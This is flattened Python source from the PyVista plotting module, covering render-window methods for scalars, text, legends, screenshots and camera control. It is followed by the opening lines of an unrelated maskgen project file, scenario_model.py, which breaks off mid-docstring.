vtk.PolyData or vtk.UnstructuredGrid, optional Object that has already been added to the Plotter. If None, uses last added mesh. render : bool, optional Forces an update to the render window. Default True. """ if mesh is None: mesh = self.mesh if isinstance(mesh, (collections.Iterable, pyvista.MultiBlock)): # Recursive if need to update scalars on many meshes for m in mesh: self.update_scalars(scalars, mesh=m, render=False) if render: self.ren_win.Render() return if isinstance(scalars, str): # Grab scalar array if name given scalars = get_scalar(mesh, scalars) if scalars is None: if render: self.ren_win.Render() return if scalars.shape[0] == mesh.GetNumberOfPoints(): data = mesh.GetPointData() elif scalars.shape[0] == mesh.GetNumberOfCells(): data = mesh.GetCellData() else: raise_not_matching(scalars, mesh) vtk_scalars = data.GetScalars() if vtk_scalars is None: raise Exception('No active scalars') s = convert_array(vtk_scalars) s[:] = scalars data.Modified() try: # Why are the points updated here? Not all datasets have points # and only the scalar array is modified by this function... mesh.GetPoints().Modified() except: pass if render: self.ren_win.Render() def update_coordinates(self, points, mesh=None, render=True): """ Updates the points of the an object in the plotter. Parameters ---------- points : np.ndarray Points to replace existing points. mesh : vtk.PolyData or vtk.UnstructuredGrid, optional Object that has already been added to the Plotter. If None, uses last added mesh. render : bool, optional Forces an update to the render window. Default True. """ if mesh is None: mesh = self.mesh mesh.points = points if render: self._render() def close(self): """ closes render window """ # must close out axes marker if hasattr(self, 'axes_widget'): del self.axes_widget # reset scalar bar stuff self._scalar_bar_slots = set(range(MAX_N_COLOR_BARS)) self._scalar_bar_slot_lookup = {} self._scalar_bar_ranges = {} self._scalar_bar_mappers = {} if hasattr(self, 'ren_win'): self.ren_win.Finalize() del self.ren_win if hasattr(self, '_style'): del self._style if hasattr(self, 'iren'): self.iren.RemoveAllObservers() del self.iren if hasattr(self, 'textActor'): del self.textActor # end movie if hasattr(self, 'mwriter'): try: self.mwriter.close() except BaseException: pass def add_text(self, text, position='upper_left', font_size=18, color=None, font=None, shadow=False, name=None, loc=None): """ Adds text to plot object in the top left corner by default Parameters ---------- text : str The text to add the the rendering position : str, tuple(float) String name of the position or length 2 tuple of the pixelwise position to place the bottom left corner of the text box. Default is to find the top left corner of the renderering window and place text box up there. Available position: ``'lower_left'``, ``'lower_right'``, ``'upper_left'``, ``'upper_right'``, ``'lower_edge'``, ``'upper_edge'``, ``'right_edge'``, and ``'left_edge'`` font : string, optional Font name may be courier, times, or arial shadow : bool, optional Adds a black shadow to the text. Defaults to False name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. loc : int, tuple, or list Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. Returns ------- textActor : vtk.vtkTextActor Text actor added to plot """ if font is None: font = rcParams['font']['family'] if font_size is None: font_size = rcParams['font']['size'] if color is None: color = rcParams['font']['color'] if position is None: # Set the position of the text to the top left corner window_size = self.window_size x = (window_size[0] * 0.02) / self.shape[0] y = (window_size[1] * 0.85) / self.shape[0] position = [x, y] corner_mappings = { 'lower_left' : vtk.vtkCornerAnnotation.LowerLeft, 'lower_right' : vtk.vtkCornerAnnotation.LowerRight, 'upper_left' : vtk.vtkCornerAnnotation.UpperLeft, 'upper_right' : vtk.vtkCornerAnnotation.UpperRight, 'lower_edge' : vtk.vtkCornerAnnotation.LowerEdge, 'upper_edge' : vtk.vtkCornerAnnotation.UpperEdge, 'left_edge' : vtk.vtkCornerAnnotation.LeftEdge, 'right_edge' : vtk.vtkCornerAnnotation.RightEdge, } corner_mappings['ll'] = corner_mappings['lower_left'] corner_mappings['lr'] = corner_mappings['lower_right'] corner_mappings['ul'] = corner_mappings['upper_left'] corner_mappings['ur'] = corner_mappings['upper_right'] corner_mappings['top'] = corner_mappings['upper_edge'] corner_mappings['bottom'] = corner_mappings['lower_edge'] corner_mappings['right'] = corner_mappings['right_edge'] corner_mappings['r'] = corner_mappings['right_edge'] corner_mappings['left'] = corner_mappings['left_edge'] corner_mappings['l'] = corner_mappings['left_edge'] if isinstance(position, (int, str, bool)): if isinstance(position, str): position = corner_mappings[position] elif position == True: position = corner_mappings['upper_left'] self.textActor = vtk.vtkCornerAnnotation() # This is how you set the font size with this actor self.textActor.SetLinearFontScaleFactor(font_size // 2) self.textActor.SetText(position, text) else: self.textActor = vtk.vtkTextActor() self.textActor.SetInput(text) self.textActor.SetPosition(position) self.textActor.GetTextProperty().SetFontSize(int(font_size * 2)) self.textActor.GetTextProperty().SetColor(parse_color(color)) self.textActor.GetTextProperty().SetFontFamily(FONT_KEYS[font]) self.textActor.GetTextProperty().SetShadow(shadow) self.add_actor(self.textActor, reset_camera=False, name=name, loc=loc) return self.textActor def open_movie(self, filename, framerate=24): """ Establishes a connection to the ffmpeg writer Parameters ---------- filename : str Filename of the movie to open. Filename should end in mp4, but other filetypes may be supported. See "imagio.get_writer" framerate : int, optional Frames per second. """ if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) self.mwriter = imageio.get_writer(filename, fps=framerate) def open_gif(self, filename): """ Open a gif file. Parameters ---------- filename : str Filename of the gif to open. Filename must end in gif. """ if filename[-3:] != 'gif': raise Exception('Unsupported filetype. Must end in .gif') if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) self._gif_filename = os.path.abspath(filename) self.mwriter = imageio.get_writer(filename, mode='I') def write_frame(self): """ Writes a single frame to the movie file """ if not hasattr(self, 'mwriter'): raise AssertionError('This plotter has not opened a movie or GIF file.') self.mwriter.append_data(self.image) @property def window_size(self): """ returns render window size """ return list(self.ren_win.GetSize()) @window_size.setter def window_size(self, window_size): """ set the render window size """ self.ren_win.SetSize(window_size[0], window_size[1]) def _run_image_filter(self, ifilter): # Update filter and grab pixels ifilter.Modified() ifilter.Update() image = pyvista.wrap(ifilter.GetOutput()) img_size = image.dimensions img_array = pyvista.utilities.point_scalar(image, 'ImageScalars') # Reshape and write tgt_size = (img_size[1], img_size[0], -1) return img_array.reshape(tgt_size)[::-1] @property def image_depth(self): """ Returns an image array of current render window """ ifilter = vtk.vtkWindowToImageFilter() ifilter.SetInput(self.ren_win) ifilter.ReadFrontBufferOff() ifilter.SetInputBufferTypeToZBuffer() return self._run_image_filter(ifilter) @property def image(self): """ Returns an image array of current render window """ if not hasattr(self, 'ren_win') and hasattr(self, 'last_image'): return self.last_image ifilter = vtk.vtkWindowToImageFilter() ifilter.SetInput(self.ren_win) ifilter.ReadFrontBufferOff() if self.image_transparent_background: ifilter.SetInputBufferTypeToRGBA() else: ifilter.SetInputBufferTypeToRGB() return self._run_image_filter(ifilter) def enable_eye_dome_lighting(self): """Enable eye dome lighting (EDL) for active renderer""" return self.renderer.enable_eye_dome_lighting() def disable_eye_dome_lighting(self): """Disable eye dome lighting (EDL) for active renderer""" return self.renderer.disable_eye_dome_lighting() def add_lines(self, lines, color=(1, 1, 1), width=5, label=None, name=None): """ Adds lines to the plotting object. Parameters ---------- lines : np.ndarray or pyvista.PolyData Points representing line segments. For example, two line segments would be represented as: np.array([[0, 0, 0], [1, 0, 0], [1, 0, 0], [1, 1, 0]]) color : string or 3 item list, optional, defaults to white Either a string, rgb list, or hex color string. For example: color='white' color='w' color=[1, 1, 1] color='#FFFFFF' width : float, optional Thickness of lines name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. Returns ------- actor : vtk.vtkActor Lines actor. """ if not isinstance(lines, np.ndarray): raise Exception('Input should be an array of point segments') lines = pyvista.lines_from_points(lines) # Create mapper and add lines mapper = vtk.vtkDataSetMapper() mapper.SetInputData(lines) rgb_color = parse_color(color) # legend label if label: if not isinstance(label, str): raise AssertionError('Label must be a string') self._labels.append([lines, label, rgb_color]) # Create actor self.scalar_bar = vtk.vtkActor() self.scalar_bar.SetMapper(mapper) self.scalar_bar.GetProperty().SetLineWidth(width) self.scalar_bar.GetProperty().EdgeVisibilityOn() self.scalar_bar.GetProperty().SetEdgeColor(rgb_color) self.scalar_bar.GetProperty().SetColor(rgb_color) self.scalar_bar.GetProperty().LightingOff() # Add to renderer self.add_actor(self.scalar_bar, reset_camera=False, name=name) return self.scalar_bar def remove_scalar_bar(self): """ Removes scalar bar """ if hasattr(self, 'scalar_bar'): self.remove_actor(self.scalar_bar, reset_camera=False) def add_point_labels(self, points, labels, italic=False, bold=True, font_size=None, text_color=None, font_family=None, shadow=False, show_points=True, point_color=None, point_size=5, name=None, shape_color='grey', shape='rounded_rect', fill_shape=True, margin=3, shape_opacity=1.0, **kwargs): """ Creates a point actor with one label from list labels assigned to each point. Parameters ---------- points : np.ndarray or pyvista.Common n x 3 numpy array of points or pyvista dataset with points labels : list or str List of labels. Must be the same length as points. If a string name is given with a pyvista.Common input for points, then these are fetched. italic : bool, optional Italicises title and bar labels. Default False. bold : bool, optional Bolds title and bar labels. Default True font_size : float, optional Sets the size of the title font. Defaults to 16. text_color : string or 3 item list, optional Color of text. Either a string, rgb list, or hex color string. text_color='white' text_color='w' text_color=[1, 1, 1] text_color='#FFFFFF' font_family : string, optional Font family. Must be either courier, times, or arial. shadow : bool, optional Adds a black shadow to the text. Defaults to False show_points : bool, optional Controls if points are visible. Default True point_color : string or 3 item list, optional. Color of points (if visible). Either a string, rgb list, or hex color string. For example: text_color='white' text_color='w' text_color=[1, 1, 1] text_color='#FFFFFF' point_size : float, optional Size of points (if visible) name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. shape_color : string or 3 item list, optional. Color of points (if visible). Either a string, rgb list, or hex color string. For example: shape : str, optional The string name of the shape to use. Options are ``'rect'`` or ``'rounded_rect'``. If you want no shape, pass ``None`` fill_shape : bool, optional Fill the shape with the ``shape_color``. Outlines if ``False``. margin : int, optional The size of the margin on the label background shape. Default is 3. shape_opacity : flaot The opacity of the shape between zero and one. Returns ------- labelMapper : vtk.vtkvtkLabeledDataMapper VTK label mapper. Can be used to change properties of the labels. """ if font_family is None: font_family = rcParams['font']['family'] if font_size is None: font_size = rcParams['font']['size'] if point_color is None and text_color is None and kwargs.get('color', None) is not None: point_color = kwargs.get('color', None) text_color = kwargs.get('color', None) if point_color is None: point_color = rcParams['color'] if text_color is None: text_color = rcParams['font']['color'] if isinstance(points, (list, tuple)): points = np.array(points) if isinstance(points, np.ndarray): vtkpoints = pyvista.PolyData(points) # Cast to poly data elif is_pyvista_obj(points): vtkpoints = pyvista.PolyData(points.points) if isinstance(labels, str): labels = points.point_arrays[labels].astype(str) else: raise TypeError('Points type not useable: {}'.format(type(points))) if len(vtkpoints.points) != len(labels): raise Exception('There must be one label for each point') vtklabels = vtk.vtkStringArray() vtklabels.SetName('labels') for item in labels: vtklabels.InsertNextValue(str(item)) vtkpoints.GetPointData().AddArray(vtklabels) # Create heirarchy hier = vtk.vtkPointSetToLabelHierarchy() hier.SetInputData(vtkpoints) # hier.SetOrientationArrayName('orientation') hier.SetLabelArrayName('labels') # create label mapper labelMapper = vtk.vtkLabelPlacementMapper() labelMapper.SetInputConnection(hier.GetOutputPort()) if not isinstance(shape, str): labelMapper.SetShapeToNone() elif shape.lower() in 'rect': labelMapper.SetShapeToRect() elif shape.lower() in 'rounded_rect': labelMapper.SetShapeToRoundedRect() else: raise RuntimeError('Shape ({}) not understood'.format(shape)) if fill_shape: labelMapper.SetStyleToFilled() else: labelMapper.SetStyleToOutline() labelMapper.SetBackgroundColor(parse_color(shape_color)) labelMapper.SetBackgroundOpacity(shape_opacity) labelMapper.SetMargin(margin) textprop = hier.GetTextProperty() textprop.SetItalic(italic) textprop.SetBold(bold) textprop.SetFontSize(font_size) textprop.SetFontFamily(parse_font_family(font_family)) textprop.SetColor(parse_color(text_color)) textprop.SetShadow(shadow) self.remove_actor('{}-points'.format(name), reset_camera=False) self.remove_actor('{}-labels'.format(name), reset_camera=False) # add points if show_points: style = 'points' else: style = 'surface' self.add_mesh(vtkpoints, style=style, color=point_color, point_size=point_size, name='{}-points'.format(name)) labelActor = vtk.vtkActor2D() labelActor.SetMapper(labelMapper) self.add_actor(labelActor, reset_camera=False, name='{}-lables'.format(name)) return labelMapper def add_point_scalar_labels(self, points, labels, fmt=None, preamble='', **kwargs): """Wrapper for :func:`pyvista.BasePlotter.add_point_labels` that will label points from a dataset with their scalar values. Parameters ---------- points : np.ndarray or pyvista.Common n x 3 numpy array of points or pyvista dataset with points labels : str String name of the point data array to use. fmt : str String formatter used to format numerical data """ if not is_pyvista_obj(points): raise TypeError('input points must be a pyvista dataset, not: {}'.format(type(points))) if not isinstance(labels, str): raise TypeError('labels must be a string name of the scalar array to use') if fmt is None: fmt = rcParams['font']['fmt'] if fmt is None: fmt = '%.6e' scalars = points.point_arrays[labels] phrase = '{} {}'.format(preamble, '%.3e') labels = [phrase % val for val in scalars] return self.add_point_labels(points, labels, **kwargs) def add_points(self, points, **kwargs): """ Add points to a mesh """ kwargs['style'] = 'points' self.add_mesh(points, **kwargs) def add_arrows(self, cent, direction, mag=1, **kwargs): """ Adds arrows to plotting object """ direction = direction.copy() if cent.ndim != 2: cent = cent.reshape((-1, 3)) if direction.ndim != 2: direction = direction.reshape((-1, 3)) direction[:,0] *= mag direction[:,1] *= mag direction[:,2] *= mag pdata = pyvista.vector_poly_data(cent, direction) # Create arrow object arrow = vtk.vtkArrowSource() arrow.Update() glyph3D = vtk.vtkGlyph3D() glyph3D.SetSourceData(arrow.GetOutput()) glyph3D.SetInputData(pdata) glyph3D.SetVectorModeToUseVector() glyph3D.Update() arrows = wrap(glyph3D.GetOutput()) return self.add_mesh(arrows, **kwargs) @staticmethod def _save_image(image, filename, return_img=None): """Internal helper for saving a NumPy image array""" if not image.size: raise Exception('Empty image. Have you run plot() first?') # write screenshot to file if isinstance(filename, str): if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) if not return_img: return imageio.imwrite(filename, image) imageio.imwrite(filename, image) return image def screenshot(self, filename=None, transparent_background=None, return_img=None, window_size=None): """ Takes screenshot at current camera position Parameters ---------- filename : str, optional Location to write image to. If None, no image is written. transparent_background : bool, optional Makes the background transparent. Default False. return_img : bool, optional If a string filename is given and this is true, a NumPy array of the image will be returned. Returns ------- img : numpy.ndarray Array containing pixel RGB and alpha. Sized: [Window height x Window width x 3] for transparent_background=False [Window height x Window width x 4] for transparent_background=True Examples -------- >>> import pyvista >>> sphere = pyvista.Sphere() >>> plotter = pyvista.Plotter() >>> actor = plotter.add_mesh(sphere) >>> plotter.screenshot('screenshot.png') # doctest:+SKIP """ if window_size is not None: self.window_size = window_size # configure image filter if transparent_background is None: transparent_background = rcParams['transparent_background'] self.image_transparent_background = transparent_background # This if statement allows you to save screenshots of closed plotters # This is needed for the sphinx-gallery work if not hasattr(self, 'ren_win'): # If plotter has been closed... # check if last_image exists if hasattr(self, 'last_image'): # Save last image return self._save_image(self.last_image, filename, return_img) # Plotter hasn't been rendered or was improperly closed raise AttributeError('This plotter is unable to save a screenshot.') if isinstance(self, Plotter): # TODO: we need a consistent rendering function self.render() else: self._render() # debug: this needs to be called twice for some reason, img = self.image img = self.image return self._save_image(img, filename, return_img) def add_legend(self, labels=None, bcolor=(0.5, 0.5, 0.5), border=False, size=None, name=None): """ Adds a legend to render window. Entries must be a list containing one string and color entry for each item. Parameters ---------- labels : list, optional When set to None, uses existing labels as specified by - add_mesh - add_lines - add_points List contianing one entry for each item to be added to the legend. Each entry must contain two strings, [label, color], where label is the name of the item to add, and color is the color of the label to add. bcolor : list or string, optional Background color, either a three item 0 to 1 RGB color list, or a matplotlib color string (e.g. 'w' or 'white' for a white color). If None, legend background is disabled. border : bool, optional Controls if there will be a border around the legend. Default False. size : list, optional Two float list, each float between 0 and 1. For example [0.1, 0.1] would make the legend 10% the size of the entire figure window. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. Returns ------- legend : vtk.vtkLegendBoxActor Actor for the legend. Examples -------- >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_hexbeam() >>> othermesh = examples.load_uniform() >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh, label='My Mesh') >>> _ = plotter.add_mesh(othermesh, 'k', label='My Other Mesh') >>> _ = plotter.add_legend() >>> plotter.show() # doctest:+SKIP Alternative manual example >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_hexbeam() >>> othermesh = examples.load_uniform() >>> legend_entries = [] >>> legend_entries.append(['My Mesh', 'w']) >>> legend_entries.append(['My Other Mesh', 'k']) >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh) >>> _ = plotter.add_mesh(othermesh, 'k') >>> _ = plotter.add_legend(legend_entries) >>> plotter.show() # doctest:+SKIP """ self.legend = vtk.vtkLegendBoxActor() if labels is None: # use existing labels if not self._labels: raise Exception('No labels input.\n\n' + 'Add labels to individual items when adding them to' + 'the plotting object with the "label=" parameter. ' + 'or enter them as the "labels" parameter.') self.legend.SetNumberOfEntries(len(self._labels)) for i, (vtk_object, text, color) in enumerate(self._labels): self.legend.SetEntry(i, vtk_object, text, parse_color(color)) else: self.legend.SetNumberOfEntries(len(labels)) legendface = pyvista.single_triangle() for i, (text, color) in enumerate(labels): self.legend.SetEntry(i, legendface, text, parse_color(color)) if size: self.legend.SetPosition2(size[0], size[1]) if bcolor is None: self.legend.UseBackgroundOff() else: self.legend.UseBackgroundOn() self.legend.SetBackgroundColor(bcolor) if border: self.legend.BorderOn() else: self.legend.BorderOff() # Add to renderer self.add_actor(self.legend, reset_camera=False, name=name) return self.legend @property def camera_position(self): """ Returns camera position of the active render window """ return self.renderers[self._active_renderer_index].camera_position @camera_position.setter def camera_position(self, camera_location): """ Set camera position of the active render window """ self.renderers[self._active_renderer_index].camera_position = camera_location def reset_camera(self): """ Reset camera so it slides along the vector defined from camera position to focal point until all of the actors can be seen. """ self.renderers[self._active_renderer_index].reset_camera() self._render() def isometric_view(self): """DEPRECATED: Please use ``view_isometric``""" return self.view_isometric() def view_isometric(self): """ Resets the camera to a default isometric view showing all the actors in the scene. """ return self.renderer.view_isometric() def view_vector(self, vector, viewup=None): return self.renderer.view_vector(vector, viewup=viewup) def view_xy(self, negative=False): """View the XY plane""" return self.renderer.view_xy(negative=negative) def view_xz(self, negative=False): """View the XZ plane""" return self.renderer.view_xz(negative=negative) def view_yz(self, negative=False): """View the YZ plane""" return self.renderer.view_yz(negative=negative) def disable(self): """Disable this renderer's camera from being interactive""" return self.renderer.disable() def enable(self): """Enable this renderer's camera to be interactive""" return self.renderer.enable() def set_background(self, color, loc='all'): """ Sets background color Parameters ---------- color : string or 3 item list, optional, defaults to white Either a string, rgb list, or hex color string. For example: color='white' color='w' color=[1, 1, 1] color='#FFFFFF' loc : int, tuple, list, or str, optional Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. If ``loc='all'`` then all render windows will have their background set. """ if color is None: color = rcParams['background'] if isinstance(color, str): if color.lower() in 'paraview' or color.lower() in 'pv': # Use the default ParaView background color color = PV_BACKGROUND else: color = pyvista.string_to_rgb(color) if loc =='all': for renderer in self.renderers: renderer.SetBackground(color) else: renderer = self.renderers[self.loc_to_index(loc)] renderer.SetBackground(color) @property def background_color(self): """ Returns background color of the first render window """ return self.renderers[0].GetBackground() @background_color.setter def background_color(self, color): """ Sets the background color of all the render windows """ self.set_background(color) def remove_legend(self): """ Removes legend actor """ if hasattr(self, 'legend'): self.remove_actor(self.legend, reset_camera=False) self._render() def enable_cell_picking(self, mesh=None, callback=None, show=True, show_message=True, style='wireframe', line_width=5, color='pink', font_size=18, **kwargs): """ Enables picking of cells. Press r to enable retangle based selection. Press "r" again to turn it off. Selection will be saved to self.picked_cells. Uses last input mesh for input Parameters ---------- mesh : vtk.UnstructuredGrid, optional UnstructuredGrid grid to select cells from. Uses last input grid by default. callback : function, optional When input, calls this function after a selection is made. The picked_cells are input as the first parameter to this function. show : bool Show the selection interactively show_message : bool, str Show the message about how to use the cell picking tool. If this is a string, that will be the message shown. kwargs : optional All remaining keyword arguments are used to control how the selection is intereactively displayed """ if hasattr(self, 'notebook') and self.notebook: raise AssertionError('Cell picking not available in notebook plotting') if mesh is None: if not hasattr(self, 'mesh'): raise Exception('Input a mesh into the Plotter class first or ' + 'or set it in this function') mesh = self.mesh def pick_call_back(picker, event_id): extract = vtk.vtkExtractGeometry() mesh.cell_arrays['orig_extract_id'] = np.arange(mesh.n_cells) extract.SetInputData(mesh) extract.SetImplicitFunction(picker.GetFrustum()) extract.Update() self.picked_cells = pyvista.wrap(extract.GetOutput()) if show: # Use try incase selection is empty try: self.add_mesh(self.picked_cells, name='cell_picking_selection', style=style, color=color, line_width=line_width, **kwargs) except RuntimeError: pass if callback is not None and self.picked_cells.n_cells > 0: callback(self.picked_cells) # TODO: Deactivate selection tool area_picker = vtk.vtkAreaPicker() area_picker.AddObserver(vtk.vtkCommand.EndPickEvent, pick_call_back) self.enable_rubber_band_style() self.iren.SetPicker(area_picker) # Now add text about cell-selection if show_message: if show_message == True: show_message = "Press R to toggle selection tool" self.add_text(str(show_message), font_size=font_size) return def generate_orbital_path(self, factor=3., n_points=20, viewup=None, shift=0.0): """Genrates an orbital path around the data scene Parameters ---------- facotr : float A scaling factor when biulding the orbital extent n_points : int number of points on the orbital path viewup : list(float) the normal to the orbital plane shift : float, optional shift the plane up/down from the center of the scene by this amount """ if viewup is None: viewup = rcParams['camera']['viewup'] center = np.array(self.center) bnds = np.array(self.bounds) radius = (bnds[1] - bnds[0]) * factor y = (bnds[3] - bnds[2]) * factor if y > radius: radius = y center += np.array(viewup) * shift return pyvista.Polygon(center=center, radius=radius, normal=viewup, n_sides=n_points) def fly_to(point): """Given a position point, move the current camera's focal point to that point. The movement is animated over the number of frames specified in NumberOfFlyFrames. The LOD desired frame rate is used. """ return self.iren.FlyTo(self.renderer, *point) def orbit_on_path(self, path=None, focus=None, step=0.5, viewup=None, bkg=True, write_frames=False): """Orbit on the given path focusing on the focus point Parameters ---------- path : pyvista.PolyData Path of orbital points. The order in the points is the order of travel focus : list(float) of length 3, optional The point ot focus the camera. step : float, optional The timestep between flying to each camera position viewup : list(float) the normal to the orbital plane write_frames : bool Assume a file is open and write a frame on each camera view during the orbit. """ if focus is None: focus = self.center if viewup is None: viewup = rcParams['camera']['viewup'] if path is None: path = self.generate_orbital_path(viewup=viewup) if not is_pyvista_obj(path): path = pyvista.PolyData(path) points = path.points # Make sure the whole scene is visible self.camera.SetThickness(path.length) def orbit(): """Internal thread for running the orbit""" for point in points: self.set_position(point) self.set_focus(focus) self.set_viewup(viewup) if bkg: time.sleep(step) if write_frames: self.write_frame() if bkg and isinstance(self, pyvista.BackgroundPlotter): thread = Thread(target=orbit) thread.start() else: bkg = False orbit() return def export_vtkjs(self, filename, compress_arrays=False): """ Export the current rendering scene as a VTKjs scene for rendering in a web browser """ if not hasattr(self, 'ren_win'): raise RuntimeError('Export must be called before showing/closing the scene.') if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) return export_plotter_vtkjs(self, filename, compress_arrays=compress_arrays) class Plotter(BasePlotter): """ Plotting object to display vtk meshes or numpy arrays. Example ------- >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_hexbeam() >>> another_mesh = examples.load_uniform() >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh, color='red') >>> _ = plotter.add_mesh(another_mesh, color='blue') >>> plotter.show() # doctest:+SKIP Parameters ---------- off_screen : bool, optional Renders off screen when False. Useful for automated screenshots. notebook : bool, optional When True, the resulting plot is placed inline a jupyter notebook. Assumes a jupyter console is active. Automatically enables off_screen. shape : list or tuple, optional Number of sub-render windows inside of the main window. Specify two across with ``shape=(2, 1)`` and a two by two grid with ``shape=(2, 2)``. By default there is only one render window. border : bool, optional Draw a border around each render window. Default False. border_color : string or 3 item list, optional, defaults to white Either a string, rgb list, or hex color string. For example: color='white' color='w' color=[1, 1, 1] color='#FFFFFF' window_size : list, optional Window size in pixels. Defaults to [1024, 768] """ last_update_time = 0.0 q_pressed = False right_timer_id = -1 def __init__(self, off_screen=None, notebook=None, shape=(1, 1), border=None, border_color='k', border_width=1.0, window_size=None): """ Initialize a vtk plotting object """ super(Plotter, self).__init__(shape=shape, border=border, border_color=border_color, border_width=border_width) log.debug('Initializing') def on_timer(iren, event_id): """ Exit application if interactive renderer stops """ if event_id == 'TimerEvent': self.iren.TerminateApp() if off_screen is None: off_screen = pyvista.OFF_SCREEN if notebook is None: notebook = scooby.in_ipykernel() self.notebook = notebook if self.notebook: off_screen = True self.off_screen = off_screen if window_size is None: window_size = pyvista.rcParams['window_size'] # initialize render window self.ren_win = vtk.vtkRenderWindow() self.ren_win.SetBorders(True) for renderer in self.renderers: self.ren_win.AddRenderer(renderer) if self.off_screen: self.ren_win.SetOffScreenRendering(1) else: # Allow user to interact self.iren = vtk.vtkRenderWindowInteractor() self.iren.LightFollowCameraOff() self.iren.SetDesiredUpdateRate(30.0) self.iren.SetRenderWindow(self.ren_win) self.enable_trackball_style() self.iren.AddObserver("KeyPressEvent", self.key_press_event) self.update_style() # for renderer in self.renderers: # self.iren.SetRenderWindow(renderer) # Set background self.set_background(rcParams['background']) # Set window size self.window_size = window_size # add timer event if interactive render exists if hasattr(self, 'iren'): self.iren.AddObserver(vtk.vtkCommand.TimerEvent, on_timer) def show(self, title=None, window_size=None, interactive=True, auto_close=True, interactive_update=False, full_screen=False, screenshot=False, return_img=False, use_panel=None, cpos=None, height=400): """ Creates plotting window Parameters ---------- title : string, optional Title of plotting window. window_size : list, optional Window size in pixels. Defaults to [1024, 768] interactive : bool, optional Enabled by default. Allows user to pan and move figure. auto_close : bool, optional Enabled by default. Exits plotting session when user closes the window when interactive is True. interactive_update: bool, optional Disabled by default. Allows user to non-blocking draw, user should call Update() in each iteration. full_screen : bool, optional Opens window in full screen. When enabled, ignores window_size. Default False. use_panel : bool, optional If False, the interactive rendering from panel will not be used in notebooks cpos : list(tuple(floats)) The camera position to use height : int, optional height for panel pane. Only used with panel. Returns ------- cpos : list List of camera position, focal point, and view up """ if use_panel is None: use_panel = rcParams['use_panel'] # reset unless camera for the first render unless camera is set if self._first_time: # and not self.camera_set: for renderer in self.renderers: if not renderer.camera_set and cpos is None: renderer.camera_position = renderer.get_default_cam_pos() renderer.ResetCamera() elif cpos is not None: renderer.camera_position = cpos self._first_time = False if title: self.ren_win.SetWindowName(title) # if full_screen: if full_screen: self.ren_win.SetFullScreen(True) self.ren_win.BordersOn() # super buggy when disabled else: if window_size is None: window_size = self.window_size self.ren_win.SetSize(window_size[0], window_size[1]) # Render log.debug('Rendering') self.ren_win.Render() # Keep track of image for sphinx-gallery self.last_image = self.screenshot(screenshot, return_img=True) disp = None if interactive and (not self.off_screen): try: # interrupts will be caught here log.debug('Starting iren') self.update_style() self.iren.Initialize() if not interactive_update: self.iren.Start() except KeyboardInterrupt: log.debug('KeyboardInterrupt') self.close() raise KeyboardInterrupt elif self.notebook and use_panel and not hasattr(self, 'volume'): try: from panel.pane import VTK as panel_display disp = panel_display(self.ren_win, sizing_mode='stretch_width', height=height) except: pass # NOTE: after this point, nothing from the render window can be accessed # as if a user presed the close button, then it destroys the # the render view and a stream of errors will kill the Python # kernel if code here tries to access that renderer. # See issues #135 and #186 for insight before editing the # remainder of this function. # Get camera position before closing cpos = self.camera_position # NOTE: our conversion to panel currently does not support mult-view # so we should display the static screenshot in notebooks for # multi-view plots until we implement this feature # If notebook is true and panel display failed: if self.notebook and (disp is None or self.shape != (1,1)): import PIL.Image # sanity check try: import IPython except ImportError: raise Exception('Install IPython to display image in a notebook') disp = IPython.display.display(PIL.Image.fromarray(self.last_image)) # Cleanup if auto_close: self.close() # Return the notebook display: either panel object or image display if self.notebook: return disp # If user asked for screenshot, return as numpy array after camera # position if return_img or screenshot == True: return cpos, self.last_image # default to returning last used camera position return cpos def plot(self, *args, **kwargs): """ Present for backwards compatibility. Use `show()` instead """ return self.show(*args, **kwargs) def render(self): """ renders main window """ self.ren_win.Render()
scenario_model.py
from image_graph import createGraph, current_version, getPathValues import exif import os import numpy as np import logging from tool_set import * import video_tools from software_loader import Software, getProjectProperties, ProjectProperty, MaskGenLoader,getRule import tempfile import plugins import graph_rules from graph_rules import Probe, ColorCompositeBuilder from image_wrap import ImageWrapper from PIL import Image from group_filter import getOperationWithGroups, buildFilterOperation,GroupFilterLoader, injectGroup from graph_auto_updates import updateJournal import hashlib import shutil import collections from threading import Lock import mask_rules from maskgen.image_graph import ImageGraph import copy def formatStat(val): if type(val) == float: return "{:5.3f}".format(val) return str(val) prefLoader = MaskGenLoader() def imageProjectModelFactory(name, **kwargs): return ImageProjectModel(name, **kwargs) def loadProject(projectFileName): """ Given JSON file name, open then the appropriate type of project @rtype: ImageProjectModel """ graph = createGraph(projectFileName) return ImageProjectModel(projectFileName, graph=graph) def consolidate(dict1, dict2): """ :param dict1: :param dict2: :return: @rtype dict """ d = dict(dict1) d.update(dict2) return d EdgeTuple = collections.namedtuple('EdgeTuple', ['start','end','edge']) def createProject(path, notify=None, base=None, name=None, timestr = None, suffixes=[], projectModelFactory=imageProjectModelFactory, organization=None): """ This utility function creates a ProjectModel given a directory. If the directory contains a JSON file, then that file is used as the project file. Otherwise, the directory is inspected for images. All images found in the directory are imported into the project. If the 'base' parameter is provided, the project is named based on that image name. If the 'base' parameter is not provided, the project name is set based on finding the first image in the list of found images, sorted in lexicographic order, starting with JPG, then PNG and then TIFF. :param path: directory name or JSON file :param notify: function pointer receiving the image (node) id and the event type :param base: image name :param suffixes: :param projectModelFactory: :param organization: :return: a tuple=> a project if found or created, returns True if 